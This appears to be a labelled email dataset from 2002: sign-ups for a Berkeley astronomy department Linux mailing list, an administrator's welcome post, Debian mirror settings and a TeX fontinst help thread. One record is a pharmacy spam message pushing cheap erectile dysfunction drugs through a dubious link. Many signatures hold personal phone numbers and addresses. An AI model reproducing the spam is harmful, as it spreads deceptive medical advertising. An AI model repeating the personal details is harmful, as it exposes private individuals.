------------------------------------------------------ > Kelley McDonald Sr. Systems Administrator > Astronomy Department kelley@astro.berkeley.edu > ------------------------------------------------------ > > ",0,1 marc davis ,kelley@astron.Berkeley.EDU,"Mon, 25 Mar 2002 18:18:24 -0800",Re: New mailing list for linux users,"Kelley: put me on the list. marc > Date: Mon, 25 Mar 2002 18:15:15 -0800 (PST) > From: Kelley McDonald > Subject: New mailing list for linux users > To: everyone@astron.Berkeley.EDU > MIME-Version: 1.0 > Content-MD5: cZJjen2SdeBLn3ocyNnPSw== > > Hi everyone, > > I decided it wouldn't be a bad idea to have an email > list that has people interested in linux and its issues > on it. Please r.s.v.p. if you want to be on that list. > > Thanks, > Kelley > ------------------------------------------------------ > Kelley McDonald Sr. Systems Administrator > Astronomy Department kelley@astro.berkeley.edu > ------------------------------------------------------ > _____________________________________________________ Marc Davis marc@deep.berkeley.edu 517 Campbell Hall University of California, Berkeley (510)-642-5156 fax: 642-3411 www page: http://astro.berkeley.edu/davis/",0,1 Franck Marchis ,Kelley McDonald ,"Mon, 25 Mar 2002 18:18:37 -0800",Re: New mailing list for linux users,"Kelley, Please include my email address in your list. That's a very good idea. CHeers F. -- --- Franck Marchis ------------------------- Phone: +1 510 642 3958 -- CFAO/University of California Fax: +1 510 642 3411 -- 601 Campbell Hall fmarchis@astron.berkeley.edu -- --- Berkeley CA 94720 - USA -- http://astron.berkeley.edu/~fmarchis -- ",0,1 Henry Roe ,kelley@astron.Berkeley.EDU,"Mon, 25 Mar 2002 18:19:20 -0800",Re: New mailing list for linux users," Ok, please put me on that list... -henry > Hi everyone, > > I decided it wouldn't be a bad idea to have an email > list that has people interested in linux and its issues > on it. Please r.s.v.p. if you want to be on that list. > > Thanks, > Kelley > ------------------------------------------------------ > Kelley McDonald Sr. Systems Administrator > Astronomy Department kelley@astro.berkeley.edu > ------------------------------------------------------ > > ",0,0 Jeffrey Newman ,Kelley McDonald ,"Mon, 25 Mar 2002 18:20:44 -0800",Re: New mailing list for linux users,"you can put me on it We are living in the golden age of astronomy, and how frustrating it is. - Charles Krauthammer ------------------------------------------------------------------------- Jeffrey Newman U.C. Berkeley Dept. of Astronomy 513 Campbell Hall (510) 643-8700 http://astro.berkeley.edu/~jnewman ",0,1 Geoffrey Bower ,Kelley McDonald ,"Mon, 25 Mar 2002 18:20:50 -0800",Re: New mailing list for linux users ,"Sign me up. Geoff ------------------------------------------------------------------------------- Geoffrey C. Bower gbower@astro.berkeley.edu 601 Campbell Hall Tel: +1 510 642 4075 Radio Astronomy Lab Fax: +1 510 642 3411 UC Berkeley Web: http://astro.berkeley.edu/~gbower Berkeley CA 94720 USA ------------------------------------------------------------------------------- ",0,1 Domingos Barbosa ,Kelley McDonald ,"Mon, 25 Mar 2002 18:22:32 -0800",Re: New mailing list for linux users," Hi Kelly, My email as in the header. By the way, is mercury going to be definitely disconnected form the local network on the 31st ? best domingos On Mon, 25 Mar 2002, Kelley McDonald wrote: > Hi everyone, > > I decided it wouldn't be a bad idea to have an email > list that has people interested in linux and its issues > on it. Please r.s.v.p. if you want to be on that list. > > Thanks, > Kelley > ------------------------------------------------------ > Kelley McDonald Sr. Systems Administrator > Astronomy Department kelley@astro.berkeley.edu > ------------------------------------------------------ > > ",0,0 Zodiac Webster ,kelley@astron.Berkeley.EDU,"Mon, 25 Mar 2002 18:24:14 -0800",Re: New mailing list for linux users,"me, me, me please sign me up. zo ",0,0 """Benjamin J. McCall"" ",kelley@astron.Berkeley.EDU,"Mon, 25 Mar 2002 18:44:19 -0800",Re: New mailing list for linux users,"Kelley, Please add me (bjmccall@astron) to the list... Cheers, Ben > Hi everyone, > > I decided it wouldn't be a bad idea to have an email > list that has people interested in linux and its issues > on it. Please r.s.v.p. if you want to be on that list. > > Thanks, > Kelley +----------------------------------------------------------+ | Ben McCall Miller Research Fellow | | University of California Department of Chemistry | | 601 Campbell Hall and Department of Astronomy | | Berkeley, CA 94720-3411 510-642-1047 (Fax 642-8566) | | bjmccall@uclink.berkeley.edu | | http://astro.berkeley.edu/~bjmccall | +----------------------------------------------------------+ ",0,1 weidong li ,kelley@astron.Berkeley.EDU,"Mon, 25 Mar 2002 18:49:17 -0800",Re: New mailing list for linux users," Kelley, Please put me on the Linux list. Thanks! Weidong ",0,0 douglas leonard ,kelley@astron.Berkeley.EDU,"Mon, 25 Mar 2002 18:54:19 -0800",Linux,"hi kelly -- Definitely sign me up for this list! Thanks, -Doug ------- Start of forwarded message ------- Date: Mon, 25 Mar 2002 18:15:15 -0800 (PST) From: Kelley McDonald Reply-To: Kelley McDonald Subject: New mailing list for linux users To: everyone@astron.Berkeley.EDU Content-Type: TEXT/plain; charset=us-ascii Content-MD5: cZJjen2SdeBLn3ocyNnPSw== Hi everyone, I decided it wouldn't be a bad idea to have an email list that has people interested in linux and its issues on it. Please r.s.v.p. if you want to be on that list. Thanks, Kelley - ------------------------------------------------------ Kelley McDonald Sr. Systems Administrator Astronomy Department kelley@astro.berkeley.edu - ------------------------------------------------------ ------- End of forwarded message -------",0,0 Chung-Pei Ma ,kelley@astron.Berkeley.EDU,"Mon, 25 Mar 2002 19:03:51 -0800",Re: New mailing list for linux users,"Please add me to the list. ",0,0 carl heiles ,kelley@astron.Berkeley.EDU,"Mon, 25 Mar 2002 19:06:13 -0800",Re: New mailing list for linux users,"yes i wanna be on that list!!!! ------------------------------------------- Carl Heiles cheiles@astro.berkeley.edu Astronomy Department University of California Berkeley, CA 94720-3411 voice phone: 510 642 4510 fax: 510 642 3411 ",0,0 Sienny Shang ,Kelley McDonald ,"Mon, 25 Mar 2002 19:15:03 -0800",Re: New mailing list for linux users," Hi Kelley, I'd like to be on the list. Thanks, Sienny ",0,0 julie walters ,Kelley McDonald ,"Mon, 25 Mar 2002 19:18:09 -0800",Re: New mailing list for linux users," Hi Kelley, Sign me up. Thanks, Julie ------------------- Julie Lynne Walters jwalters@astron.berkeley.edu On Mon, 25 Mar 2002, Kelley McDonald wrote: > Hi everyone, > > I decided it wouldn't be a bad idea to have an email > list that has people interested in linux and its issues > on it. Please r.s.v.p. if you want to be on that list. > > Thanks, > Kelley > ------------------------------------------------------ > Kelley McDonald Sr. Systems Administrator > Astronomy Department kelley@astro.berkeley.edu > ------------------------------------------------------ > > ",0,0 leo blitz ,kelley@astron.Berkeley.EDU,"Mon, 25 Mar 2002 19:54:47 -0800",Re: New mailing list for linux users,"Kelly, Keep me on the linux list. Leo ",0,0 Brett Stroozas ,kelley@astron.Berkeley.EDU,"Mon, 25 Mar 2002 20:09:14 -0800",GP-B systems guy," Kelley, Hey, how're things going for you up at Astro? - fine, I hope. BTW, I've gone into business for myself and am currently working 50% time for the Gravity Probe B mission at Stanford. Their systems guy is named Jeff Wade -- he's a good guy and reminds me of you in many ways. He's very security consious and has set up what looks like a solid and robust ops network. I was wondering if you'd be willing to talk with Jeff on the phone. I suggested that he talk to you about the various systems processes we used on EUVE: security, ECOs, etc. Let me know what you think. Thanks ... Brett ",0,0 Anatoly Spitkovsky ,Kelley McDonald ,"Mon, 25 Mar 2002 20:50:45 -0800",Re: New mailing list for linux users," Please put me on this list. Thanks Anatoly On Mon, 25 Mar 2002, Kelley McDonald wrote: > Hi everyone, > > I decided it wouldn't be a bad idea to have an email > list that has people interested in linux and its issues > on it. Please r.s.v.p. if you want to be on that list. > > Thanks, > Kelley > ------------------------------------------------------ > Kelley McDonald Sr. Systems Administrator > Astronomy Department kelley@astro.berkeley.edu > ------------------------------------------------------ > > ",0,0 James Colby Kraybill ,kelley@astron.Berkeley.EDU,"Mon, 25 Mar 2002 20:53:04 -0800",Re: New mailing list for linux users,"RSVP >Date: Mon, 25 Mar 2002 18:15:15 -0800 (PST) >From: Kelley McDonald >Subject: New mailing list for linux users >To: everyone@astron.Berkeley.EDU >MIME-Version: 1.0 >Content-MD5: cZJjen2SdeBLn3ocyNnPSw== > >Hi everyone, > >I decided it wouldn't be a bad idea to have an email >list that has people interested in linux and its issues >on it. Please r.s.v.p. if you want to be on that list. > >Thanks, >Kelley >------------------------------------------------------ >Kelley McDonald Sr. Systems Administrator >Astronomy Department kelley@astro.berkeley.edu >------------------------------------------------------ > ----------------------------------------------------------------- James Colby Kraybill colby@astro.berkeley.edu University of California, Berkeley Radio Astronomy Laboratory",0,0 """Tamara T. Helfer"" ",Kelley McDonald ,"Mon, 25 Mar 2002 21:32:51 -0800",Re: New mailing list for linux users," Count me in... Tam ",0,0 George Fisher ,Kelley McDonald ,"Mon, 25 Mar 2002 21:39:48 -0800",Re: New mailing list for linux users,"Yep, would like to be on. - email address enclosed on signature below. - George Kelley McDonald wrote: > Hi everyone, > > I decided it wouldn't be a bad idea to have an email > list that has people interested in linux and its issues > on it. Please r.s.v.p. if you want to be on that list. > > Thanks, > Kelley > ------------------------------------------------------ > Kelley McDonald Sr. Systems Administrator > Astronomy Department kelley@astro.berkeley.edu > ------------------------------------------------------ > > -- _______________________________________________________________ George H. Fisher | Ph: 510-642-8896 Space Sciences Laboratory | Fax: 510-643-8302 University of California | Email: fisher@ssl.berkeley.edu Berkeley, CA 94720-7450 | URL: sprg.ssl.berkeley.edu/~fisher/ __________________________|____________________________________ ",0,0 Mark Krumholz ,Kelley McDonald ,"Mon, 25 Mar 2002 22:04:01 -0800",Re: New mailing list for linux users,"On Mon, 25 Mar 2002, Kelley McDonald wrote: > I decided it wouldn't be a bad idea to have an email list that has > people interested in linux and its issues on it. Please r.s.v.p. if you > want to be on that list. Please add me. -Mark http://astro.berkeley.edu/~krumholz 510-643-8700 ",0,1 Joanne Cohn ,kelley@astron.Berkeley.EDU,"Mon, 25 Mar 2002 22:06:57 -0800",linux,"hi, could you put me on the linux mailing list? thanks! joanne ",0,0 Misty ,"kelley@astron.berkeley.edu, janna@astron.berkeley.edu, tony@astron.berkeley.edu, elmer@astron.berkeley.edu","Tue, 16 Feb 1999 10:40:47 +0600",you wont regret it Randall," You don't need to talk to a doctor to get the sexual help that you need. Have a look here. We sell all of the most popular erectile dysfunction medication at literally 1/5th the cost. If you buy medication to enhance erections now, you really should check out: http://directory1x787vodoxoobjjc6j1c6jj1.rubberhl.com/ We back our medications up with a full 45-day guarantee. If you are not 100% satisified, we will refund you no questions asked. Sincerely, Misty Customer Service Team ",1,1 Matt Craig ,Kelley McDonald ,"Tue, 26 Mar 2002 06:19:05 -0600",Re: New mailing list for linux users,"I'm interested. matt craig Kelley McDonald writes: > Hi everyone, > > I decided it wouldn't be a bad idea to have an email > list that has people interested in linux and its issues > on it. Please r.s.v.p. if you want to be on that list. > > Thanks, > Kelley > ------------------------------------------------------ > Kelley McDonald Sr. Systems Administrator > Astronomy Department kelley@astro.berkeley.edu > ------------------------------------------------------ > > ",0,0 Matt Dexter ,Kelley McDonald ,"Tue, 26 Mar 2002 07:00:29 -0800",Re: New mailing list for linux users," On Mon, 25 Mar 2002, Kelley McDonald wrote: > Hi everyone, > > I decided it wouldn't be a bad idea to have an email > list that has people interested in linux and its issues > on it. Please r.s.v.p. if you want to be on that list. > > Thanks, > Kelley Hello, Please add my name to the Linux mailing list. Thanks, Matt ",0,0 xander ,tex-fonts@tug.org,"Tue, 26 Mar 2002 15:59:22 +0100","Re: Hi,congratulations (was: windoze virus)","duh. -- Best regards, xander mailto:xvw@trinity.warande.net Q What did the instructor at the school for Kamikaze pilots say to his students? A Watch closely. I'm only going to do this once. ",0,0 Alison Coil ,Kelley McDonald ,"Tue, 26 Mar 2002 09:11:44 -0800",Re: New mailing list for linux users,"i'd like to be on it - thanks! alison ",0,0 """james r. graham 649"" ",kelley@astron.Berkeley.EDU,"Tue, 26 Mar 2002 09:48:33 -0800",Re: New mailing list for linux users," please put me on the linux list. - James ",0,0 Martin White ,kelley@astron.Berkeley.EDU,"Tue, 26 Mar 2002 09:49:33 -0800",Re: New mailing list for linux users,"Kelley, I would like to be on the Linux mailing list please. M. ",0,0 Joseph Lorenzo Hall ,Kelley McDonald ,"Tue, 26 Mar 2002 11:27:11 -0800",Re: New mailing list for linux users,"I would like to be on your linux list... I might actually boot into my linux partition with some encouragement. Joe ------------------------------------------------------------------ Joseph Lorenzo Hall jhall@astro.berkeley.edu Graduate Student astron.berkeley.edu/~jhall Astronomy Department 601 Campbell Hall voice: (510) 643-6425 University of California at Berkeley fax : (510) 642-3411 Berkeley, CA 94720-3411 face : 727B Campbell All educational and community radio webcasts are in jeopardy... If you care, please take a minute to help ""save our streams"": http://www.rice.edu/cb/sos Does your congressmember know how you feel? Let them know TODAY: http://www.visi.com/juan/congress/ ",0,1 Kelley McDonald ,linuxusers@astron.Berkeley.EDU,"Tue, 26 Mar 2002 12:18:22 -0800",inaugural email,"So, I thought I would start out the linuxusers email list by letting everyone know what it is about. First, it is meant to be an forum to allow those of us that use linux/administer linux to exchange questions/answers/suggestions amongst each other. Second, I plan on posting information about security updates (mainly the CERT Advisories) to it with emphasis on linux issues...to help you protect your linux machines better. There may be other catagories later on, but this is a good start. Issue 1. PAST CERT Advisories: I would direct everyone to the web site that deals with this and suggest everyone read through the last advisories concerning Unix (say for the past two years or so). It would be a good idea to verify on your machines at home and laptops, etc, that these have been dealt with satisfactorily. The URL for CERT is www.cert.org. You might also want to get put on the mailing lists for CERT Advisories here...it usually gives you a day notice before something bad happens (you might even be able to prevent it from happening). Issue 2. Helpful web site for Linux users: One of the most helpful sites for setting up and configuring your linux system is http://linuxdoc.org/ and its mirror sites. From here you can branch out to lots of other useful sites. Issue 3. Department resources...we have CDs/DVD media with RedHat 7.2, 7.1, Suse 7.3, and Debian (whatever the latest release is) on them. Some of these are my own personal copies, so please take care of them should you borrow them. We won't, at present, provide more than cursory support for installing and configuring them...at some time in the future, when we have more staff available to do it, we may provide more robust support. Issue 4. Always a good idea to look for things in the comp.os.linux newsgroups. If you have never used USENET news, the campus NNTP server is agate.berkeley.edu and you might subscribe to several if not all of the groups under the comp.os.linux catagory. Also, groups.google.com is helpful for archived news postings. Kelley ------------------------------------------------------ Kelley McDonald Sr. Systems Administrator Astronomy Department kelley@astro.berkeley.edu ------------------------------------------------------ ",0,1 Shauna Sallmen ,Kelley McDonald ,"Tue, 26 Mar 2002 14:54:40 -0800",Re: New mailing list for linux users,"Kelley - Can you please put me on this list... Shauna Sallmen On Mon, 25 Mar 2002, Kelley McDonald wrote: > Hi everyone, > > I decided it wouldn't be a bad idea to have an email > list that has people interested in linux and its issues > on it. Please r.s.v.p. if you want to be on that list. > > Thanks, > Kelley > ------------------------------------------------------ > Kelley McDonald Sr. Systems Administrator > Astronomy Department kelley@astro.berkeley.edu > ------------------------------------------------------ > > ",0,0 James Colby Kraybill ,linuxusers@astron.Berkeley.EDU,"Tue, 26 Mar 2002 15:50:54 -0800",Net source for debian on local campus," I wanted to drop a note and point out that Debian is available over the local campus network via the CSUA. For those familiar with debian, you can use something like this in your /etc/apt/sources.list file: deb http://linux.csua.berkeley.edu/debian/ stable main deb-src http://linux.csua.berkeley.edu/debian/ stable main Or, if you wanted to say, upgrade to 'woody' from 'potato' you would add the following to your /etc/apt/sources.list: deb http://linux.csua.berkeley.edu/debian/ testing main contrib non-free deb-src http://linux.csua.berkeley.edu/debian/ testing main contrib non-free This makes debian a very quick install over the net here. - Colby ----------------------------------------------------------------- James Colby Kraybill colby@astro.berkeley.edu University of California, Berkeley Radio Astronomy Laboratory ",0,1 anthony allen ,Kelley McDonald ,"Tue, 26 Mar 2002 16:10:59 -0800",Re: New mailing list for linux users," Hi--Please add me to the list. Thanks On Mon, 25 Mar 2002, Kelley McDonald wrote: > Hi everyone, > > I decided it wouldn't be a bad idea to have an email > list that has people interested in linux and its issues > on it. Please r.s.v.p. if you want to be on that list. > > Thanks, > Kelley > ------------------------------------------------------ > Kelley McDonald Sr. Systems Administrator > Astronomy Department kelley@astro.berkeley.edu > ------------------------------------------------------ > > ------------------------------------------------------------------- Tony Allen allen@amoeba.berkeley.edu, 753B Campbell, 3-8592 ------------------------------------------------------------------- ",0,0 james lloyd ,Kelley McDonald ,"Tue, 26 Mar 2002 16:23:59 -0800",Re: New mailing list for linux users ," I am interested. James > Hi everyone, > > I decided it wouldn't be a bad idea to have an email > list that has people interested in linux and its issues > on it. Please r.s.v.p. if you want to be on that list. > > Thanks, > Kelley > ------------------------------------------------------ > Kelley McDonald Sr. Systems Administrator > Astronomy Department kelley@astro.berkeley.edu > ------------------------------------------------------ ",0,0 Marshall Perrin ,Kelley McDonald ,"Tue, 26 Mar 2002 18:09:07 -0800",Re: New mailing list for linux users,"*raises hand* - Marshall On Mon, 25 Mar 2002, Kelley McDonald wrote: > Hi everyone, > > I decided it wouldn't be a bad idea to have an email > list that has people interested in linux and its issues > on it. Please r.s.v.p. if you want to be on that list. > > Thanks, > Kelley > ------------------------------------------------------ > Kelley McDonald Sr. Systems Administrator > Astronomy Department kelley@astro.berkeley.edu > ------------------------------------------------------ > ",0,0 Rowland McDonnell ,tex-fonts ,"Wed, 27 Mar 2002 10:03:07 +0000",fontinst question,"This question probably ought to be sent to the fontinst mailing list, but I've changed email address since I subscribed to that one *and* lost the information on how to subscribe. So for my first question: can anyone tell me how to subscribe to the fontinst mailing list? And for my second question, assuming that everyone subscribed to the fontinst list is subscribed to this one... I've just tried installing the Adobe part of the Univers family using fontinst 1.801. Using \\latinfamily, punro8ac.afm punr8ac.afm punlo8ac.afm punl8ac.afm punbo8ac.afm punb8ac.afm get ignored. Is this appropriate? I can't help feeling that it'd make sense for \\latinfamily to look out for condensed variants. But aside from that, when I try installing the above founts using: \\installfonts % begin Univers condensed install \\transformfont{punr8rc}{\\reencodefont{8r}{\\fromafm{punr8ac}}} \\transformfont{punro8rc}{\\reencodefont{8r}{\\fromafm{punro8ac}}} \\transformfont{punl8rc}{\\reencodefont{8r}{\\fromafm{punl8ac}}} \\transformfont{punlo8rc}{\\reencodefont{8r}{\\fromafm{punlo8ac}}} \\transformfont{punb8rc}{\\reencodefont{8r}{\\fromafm{punb8ac}}} \\transformfont{punbo8rc}{\\reencodefont{8r}{\\fromafm{punbo8ac}}} \\installfont {punr8tc} {punr8rc, latin} {T1} {t1} {pun}{mc}{n} {} \\installfont {punr8tc} {punr8rc, latin} {OT1} {ot1} {pun}{mc}{n} {} \\installfont {punr8tc} {punr8rc, latin} {T1c} {t1} {pun}{mc}{sc}{} \\installfont {punr8tc} {punr8rc, latin} {OT1c} {ot1} {pun}{mc}{sc}{} \\installfont {punr8tc} {punro8rc,latin} {T1} {t1} {pun}{mc}{sl}{} \\installfont {punr8tc} {punro8rc,latin} {OT1} {ot1} {pun}{mc}{sl}{} \\installfont {punl8tc} {punl8rc, latin} {T1} {t1} {pun}{lc}{n} {} \\installfont {punl8tc} {punl8rc, latin} {OT1} {ot1} {pun}{lc}{n} {} \\installfont {punl8tc} {punlo8rc,latin} {T1} {t1} {pun}{lc}{sl}{} \\installfont {punl8tc} {punlo8rc,latin} {OT1} {ot1} {pun}{lc}{sl}{} \\installfont {punb8tc} {punb8rc, latin} {T1} {t1} {pun}{bc}{n} {} \\installfont {punb8tc} {punb8rc, latin} {OT1} {ot1} {pun}{bc}{n} {} \\installfont {punb8tc} {punbo8rc,latin} {T1} {t1} {pun}{bc}{sl}{} \\installfont {punb8tc} {punbo8rc,latin} {OT1} {ot1} {pun}{bc}{sl}{} % end Univers condensed install \\endinstallfonts I get the expected pl and vpl files, but no fd files. What do I have to do to persuade it to write the required fd file entries? It strikes me that this ought to happen by default - if not, what *is* the point of the last 5 arguments to \\installfont? Anyone got any thoughts? Cheers Rowland. ",0,0 Lars Hellström ,Rowland McDonnell ,"Wed, 27 Mar 2002 11:40:14 +0100",Re: fontinst question,"At 11.03 +0100 2002-03-27, Rowland McDonnell wrote: >This question probably ought to be sent to the fontinst mailing list, but >I've changed email address since I subscribed to that one *and* lost the >information on how to subscribe. So for my first question: can anyone tell >me how to subscribe to the fontinst mailing list? In the fontinst v1.8 manual (by Alan Jeffrey and Rowland McDonnell [sic!]), it says: If you would like to be on the \\texttt{fontinst} mailing list, please mail \\url{fontinst-request@cogs.susx.ac.uk}. Mind you, posting on this list is not restricted to the list subscribers, so you could just as well have posted your question there. >And for my second question, assuming that everyone subscribed to the >fontinst list is subscribed to this one... > >I've just tried installing the Adobe part of the Univers family using >fontinst 1.801. Using \\latinfamily, > >punro8ac.afm >punr8ac.afm >punlo8ac.afm >punl8ac.afm >punbo8ac.afm >punb8ac.afm > >get ignored. Is this appropriate? I can't help feeling that it'd make >sense for \\latinfamily to look out for condensed variants. Looking for c widths is commented out in the definition of \\latin_widths. I have no idea why; the last person who changed anything in that code was Ulrik Vieth. >But aside from that, when I try installing the above founts using: > >\\installfonts >% begin Univers condensed install [snip] >% end Univers condensed install >\\endinstallfonts > >I get the expected pl and vpl files, but no fd files. What do I have to do >to persuade it to write the required fd file entries? You have to say \\installfamily{T1}{pun}{} \\installfamily{OT1}{pun}{} >It strikes me that >this ought to happen by default - Good point! I'll see what I can do about it. Lars Hellström ",0,0 Walter Schmidt ,Rowland McDonnell ,"Wed, 27 Mar 2002 11:54:54 +0100",Re: fontinst question,"On Wed, 27 Mar 2002 10:03:07 +0000, Rowland McDonnell wrote: >So for my first question: can anyone tell >me how to subscribe to the fontinst mailing list? Send an email to ; it will be read by a human. >I've just tried installing the Adobe part of the Univers family using >fontinst 1.801. Using \\latinfamily, > >punro8ac.afm >punr8ac.afm >punlo8ac.afm >punl8ac.afm >punbo8ac.afm >punb8ac.afm > >get ignored. Is this appropriate? I can't help feeling that it'd make >sense for \\latinfamily to look out for condensed variants. \\latinfamily wants condensed variants to be designated by ""n"", as opposed to ""c"", until you put the following into fontinst.rc: \\def\\latin_widths{ \\latin_width{}{} % \\latin_width{n}{c} \\latin_width{c}{c} \\latin_width{x}{x}} Maybe this should be documented in the fontinst guide :-) >>But aside from that, when I try installing the above founts using: >[...] > \\installfont{punr8tc}{punr8rc,latin}{T1}{t1} {pun}{mc}{n}{} >[..] >I get the expected pl and vpl files, but no fd files. Maybe this works: \\installfont{punr8tc}{punr8rc,latin}{t1}{T1}{pun}{mc}{n}{} I.e., the name of the encoding (T1) should be uppercased, matching the \\installfamily command, whereas the name of the related t1.etx file should be lowercase (the latter being relevant on Unix systems only). HTH Walter -- Walter Schmidt Schornbaumstrasse 2, 91052 Erlangen, Germany",0,1 Rowland McDonnell ,tex-fonts ,"Wed, 27 Mar 2002 12:31:42 +0000",Re: fontinst question,"(I've quoted two different replies in this email - I hope this doesn't cause confusion or offence) >In the fontinst v1.8 manual (by Alan Jeffrey and Rowland McDonnell [sic!]), >it says: > > If you would like to be on the > \\texttt{fontinst} mailing list, please mail > \\url{fontinst-request@cogs.susx.ac.uk}. Oh dear. It does, doesn't it? And it was me, not Alan, who added that bit. You realise you just lost a wonderful opportunity to say `RTFM' to the idiot who WTFM? [snip] >>I've just tried installing the Adobe part of the Univers family using >>fontinst 1.801. Using \\latinfamily, >> >>punro8ac.afm >>punr8ac.afm >>punlo8ac.afm >>punl8ac.afm >>punbo8ac.afm >>punb8ac.afm >> >>get ignored. Is this appropriate? I can't help feeling that it'd make >>sense for \\latinfamily to look out for condensed variants. > >\\latinfamily wants condensed variants to be designated by ""n"", >as opposed to ""c"", until you put the following into fontinst.rc: Righto. Hmm. I see - so by default, fontinst looks for the `narrow' varient for the NFSS specifier `condensed'. Not that daft, but (as you point out) something that needs documenting. Hmm. A thought: would it make sense to have \\latinfamily look for n *and* c for `condensed' by default? And if so, does fontinst allow this? >\\def\\latin_widths{ > \\latin_width{}{} >% \\latin_width{n}{c} > \\latin_width{c}{c} > \\latin_width{x}{x}} > > >Maybe this should be documented in the fontinst guide :-) > Quite possibly... My head's on a little straighter than it was and now I've got a 400MHz G4 superseding my old 25MHz 68LC040, I can do trial fontinst runs without having to make a cup of tea. There's a fighting chance I'll kick the fontinst manual in to better shape before the end of the year. And I might even read the bloody thing some day, eh? ;-) (for those who might be curious, I've got vast piles of notes about fontinst's operation, and these latest replies are being shoved there. What I need to do is play around some more and get a few more things about fontinst straight in my mind and *then* I can maybe re-write the manual some more; my hope is that all this help you've given *me* can be `saved for posterity' in a coherent manual. If my flaky brain lets me finish it, that is. I'm still very unreliable, I'm afraid.) >>>But aside from that, when I try installing the above founts using: >>[...] >> \\installfont{punr8tc}{punr8rc,latin}{T1}{t1} {pun}{mc}{n}{} >>[..] > >>I get the expected pl and vpl files, but no fd files. > >Maybe this works: > > \\installfont{punr8tc}{punr8rc,latin}{t1}{T1}{pun}{mc}{n}{} With the \\installfamily commands added, it most certainly does. >I.e., the name of the encoding (T1) should be uppercased, matching >the \\installfamily command, whereas the name of the related t1.etx >file should be lowercase (the latter being relevant on Unix systems >only). [snip] Ah - yes, that makes sense. What happened here was a mistake I made some years ago has propagated down the line to now. Well, I'm learning, and fontinst is beginning to make some sort of sense to me. But it does need one extra, as pointed out by Lars Hellström (and as I used to know - mind like a sieve, me): >You have to say > >\\installfamily{T1}{pun}{} >\\installfamily{OT1}{pun}{} And *then* it all works properly. Thanks very much to both Lars and Walter, Rowland.",0,0 Thierry Bouche ,Rowland McDonnell ,"Wed, 27 Mar 2002 14:03:29 +0100",Re[2]: fontinst question,"Le mercredi 27 mars 2002 à 13:31:42, je reçus de la part de Rowland McDonnell le suivant message: RM> Hmm. A thought: would it make sense to have \\latinfamily look for n *and* RM> c for `condensed' by default? And if so, does fontinst allow this? well... there was the idea in fontname that _n_ & _c_ are not equivalent (one is for a designed condensed version, and the other one for an automatically narrowed one [I may confuse which is which]). but this remark is probably irrelevant re the question above... -- Thierry Bouche ",0,0 Rowland McDonnell ,tex-fonts ,"Wed, 27 Mar 2002 13:10:04 +0000",Re: fontinst question,"[snip] >>>But aside from that, when I try installing the above founts using: >>[...] >> \\installfont{punr8tc}{punr8rc,latin}{T1}{t1} {pun}{mc}{n}{} >>[..] > >>I get the expected pl and vpl files, but no fd files. > >Maybe this works: > > \\installfont{punr8tc}{punr8rc,latin}{t1}{T1}{pun}{mc}{n}{} [snip] Now here's a thing. I've just looked at the log file kicked out by fontinst 1.801 in response to a \\latinfamily command. It's full of lines like: \\installfont If that first instance of `T1' ought to be `t1', might it be an idea to change what fontinst prints? And while I'm nit-picking: might it be an idea to change the output to indicate the contents of the last argument to the \\installfont (and \\installrawfont} command? Even if that argument is empty, I reckon it's worth doing to avoid confusing people (it just got me confused, y'see). Rowland. (beginning to understand how he got so confused about all this in the first place, and having spotted another stupidity in the original problem example he gave. Well, making your own mistakes is the best way of learning. I must be learning *loads*)",0,0 Walter Schmidt ,tex-fonts ,"Wed, 27 Mar 2002 14:41:31 +0100",Re: Re[2]: fontinst question,"On Wed, 27 Mar 2002 14:03:29 +0100, Thierry Bouche wrote: >well... there was the idea in fontname that _n_ & _c_ are not equivalent >(one is for a designed condensed version, and the other one for an >automatically narrowed one [I may confuse which is which]). Good idea -- in theory! In the KB fontname scheme, however, the ready-made (designed) Helvetica-Narrow is named ""n"", whereas the equally ready-made Frutiger-Condensed or Univers-Condensed are named ""c"". The KB scheme simply reflects the original names, and we are now stuck with it. -- Walter ",0,0 Rowland McDonnell ,Thierry Bouche ,"Wed, 27 Mar 2002 13:37:40 +0000",Re[2]: fontinst question,"At 1:03 PM +0000 27/3/2002, Thierry Bouche wrote: >Le mercredi 27 mars 2002 à 13:31:42, je reçus de la part de >Rowland McDonnell le suivant message: > > >RM> Hmm. A thought: would it make sense to have \\latinfamily look for n *and* >RM> c for `condensed' by default? And if so, does fontinst allow this? > >well... there was the idea in fontname that _n_ & _c_ are not equivalent >(one is for a designed condensed version, and the other one for an >automatically narrowed one [I may confuse which is which]). > >but this remark is probably irrelevant re the question above... Possibly, but it's interesting data. In Adobe.map-by-name, there's: phvr8rn Helvetica-Narrow 0.5 hvn_____ phvr8rc Helvetica-Condensed 014 hvc_____ Clearly some founts are designed in both narrow and condensed versions. I'm not sure whether any of this gets anyone anywhere, but there you go. Rowland. ",0,0 Walter Schmidt ,tex-fonts ,"Wed, 27 Mar 2002 16:52:50 +0100",Re: fontinst question,"On Wed, 27 Mar 2002 13:10:04 +0000, Rowland McDonnell wrote: >Now here's a thing. I've just looked at the log file kicked out by >fontinst 1.801 in response to a \\latinfamily command. It's full of lines >like: > >\\installfont > >If that first instance of `T1' ought to be `t1', might it be an idea to >change what fontinst prints? The first instance of `T1' refers to the file t1.etx; on a non-Unix system, the case does certainly not matter here. I'm not even sure whether uc/lc matters, as to the *second* instance of `T1'. I just suspected that this might have been the source of your problem, because I did not realize that you had forgotten the \\installfamily commands altogether. I just thought that you forgot to include them in your message. -- Walter",0,0 Lars Hellström ,Walter Schmidt ,"Wed, 27 Mar 2002 18:04:30 +0100",Re: fontinst question,"At 16.52 +0100 2002-03-27, Walter Schmidt wrote: >On Wed, 27 Mar 2002 13:10:04 +0000, Rowland McDonnell wrote: > >>Now here's a thing. I've just looked at the log file kicked out by >>fontinst 1.801 in response to a \\latinfamily command. It's full of lines >>like: >> >>\\installfont >> >>If that first instance of `T1' ought to be `t1', might it be an idea to >>change what fontinst prints? > >The first instance of `T1' refers to the file t1.etx; >on a non-Unix system, the case does certainly not matter here. > >I'm not even sure whether uc/lc matters, as to the *second* >instance of `T1'. It matters! In the end it will all become the names of the fontdef tokens that LaTeX uses to switch fonts, and \\T1/pun/m/n/10 is not the same token as \\t1/pun/m/n/10. What would happen is that LaTeX would input t1pun.fd, hoping to get some font T1/pun/... defined, but that the file would instead define t1/pun/... The end result would probably be that LaTeX uses T1/cmr/m/n instead. Lars Hellström",0,0 Rowland McDonnell ,tex-fonts ,"Wed, 27 Mar 2002 19:31:31 +0000",Re: fontinst question,"At 3:52 PM +0000 27/3/2002, Walter Schmidt wrote: >On Wed, 27 Mar 2002 13:10:04 +0000, Rowland McDonnell wrote: > >>Now here's a thing. I've just looked at the log file kicked out by 